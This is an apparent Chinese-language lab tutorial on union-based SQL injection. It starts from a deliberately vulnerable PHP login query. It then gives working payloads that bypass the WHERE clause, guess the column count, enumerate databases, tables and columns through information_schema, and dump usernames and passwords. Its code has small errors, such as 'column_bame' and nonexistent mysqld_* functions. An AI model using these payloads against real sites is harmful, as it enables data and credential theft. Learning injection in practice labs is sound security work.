union可以用于合并两个或多个select语句的结果集
场景:
PHP中使用的查询代码大致如下(可能有语法错误)$id = $_GET['id']; $sql = "select * from users where id = '$id' limit 0, 1"; $result = mysqld_query($sql); $row = mysqld_fetch_array($result); if($row) { echo $row['username']; echo '<br>'; echo $row['password']; } else { print_r(mysqld_error()); }
从代码中可以看出,$id是个突破点,不过要处理好',否则会出现语法错误。
可以用' or '1' = '1,则实际查询语句为「select * from users where id = '' or '1' = '1' limit 0, 1」
也可以用' --+(--+相当于注释标识符),则实际查询语句为「select * from users where id = ''」
利用order by可以猜测字段数,其后跟着字段名,也可以跟着字段索引,所以通过输入不同大小的数字,利用当数字超过实际字段数就会出错,可以猜测出实际字段数。

查看当前数据库名和用户名
' union select 1, database(), user()

得到数据库名后,查看其中的表
可以在information_schema数据库中的tables表中查询,对应字段为table_name,还要限定字段table_schema为对应的数据库名才可以
select table_name from information_schema.tables where table_schema = "test_db";
但是这样输出的结果会是一个记录集,根据本文的代码,是不能全部看到的,所以要借助group_concat函数拼接成一个记录
' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'security' --+

查询其中一个表的字段,这里用user表做例子,
还是使用information_schema数据库,这次使用columns表,查询字段为column_name,限制字段为table_name。
' union select 1, group_concat(column_bame), 3 from information_schema.columns where table_name = 'user' --+

查询结果怪怪的,检查了下,table_name的值少打了个s

查询表中内容
在union和--+之间使用对应的sql语句就可以了,但是输出字段的顺序要和php代码对应,否则可能看不到结果。
比如这边在user表里查询id为2的用户(其实和直接查没什么差别,但是这里只是举例子)
' union select 1, username, password from users where id = 2 --+


本文介绍了在PHP中合并多个语句结果集的方法,还提及利用特定方式猜测字段数。阐述了查看当前数据库名、用户名、表及表字段的查询操作,强调查询结果输出顺序要与PHP代码对应,否则可能看不到结果。
858

被折叠的 条评论
为什么被折叠?



